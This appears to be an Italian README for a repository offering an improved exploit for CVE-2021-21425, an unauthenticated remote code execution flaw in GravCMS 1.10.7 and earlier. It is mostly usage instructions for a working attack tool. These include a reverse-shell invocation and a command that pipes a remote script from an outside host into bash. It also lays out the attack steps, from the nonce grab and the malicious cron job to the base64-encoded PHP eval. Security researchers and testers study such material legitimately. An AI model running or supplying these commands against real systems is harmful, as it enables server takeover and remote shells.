
CVE-2021-21425 - GravCMS 1.10.7 RCE non autenticato tramite Scheduler. Exploit migliorato con argomenti CLI e codifica base64 automatica.
Proof-of-concept migliorato per CVE-2021-21425, una vulnerabilità di Remote Code Execution non autenticata in GravCMS <= 1.10.7 tramite scrittura arbitraria di YAML nello scheduler.
Questo è un lavoro derivato. La vulnerabilità e l'exploit originale non sono miei.
| Ruolo | Chi |
|---|---|
| Vulnerabilità scoperta da | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — Marzo 2021 |
| PoC originale di | "legend" — Exploit-DB EDB-49973 |
| Modifiche in questo repo di | d4ytox |
L'originale EDB-49973 richiede la modifica manuale di valori hardcoded nello script. Questa versione aggiunge:
-c)Queste sono modifiche di usabilità a un exploit esistente. Non viene rivendicata alcuna ricerca sulla vulnerabilità.
| Campo | Valore |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Affetto | GravCMS <= 1.10.7 |
| Tipo | RCE non autenticato |
| CVSS | 9.8 (Critico) |
Il plugin Grav Admin non verifica l'autenticazione su alcune route admin, consentendo a utenti non autenticati di scrivere configurazioni YAML arbitrarie. Questo exploit sfrutta la configurazione dello scheduler per creare un cron job che esegue codice PHP arbitrario.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Custom command
python3 exploit.py -t http://target -c "id"
# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin per estrarre il token admin-nonce (nessuna autenticazione richiesta a causa della vulnerabilità)/admin/config/scheduler con una configurazione cron job malevola/usr/bin/php -r eval(base64_decode(...))/tmp/rev.sh e la esegueIl cron job viene eseguito ogni minuto (* * * * *), quindi la shell arriva entro 60 secondi.
MIT, applicata solo alle modifiche in questo repository. Il PoC upstream non ha licenza, quindi rimane tutti i diritti riservati dal suo autore. Vedi LICENSE per l'avviso completo di attribuzione.
Solo per test di sicurezza autorizzati. Assicurati di avere il permesso scritto prima di testare su qualsiasi sistema.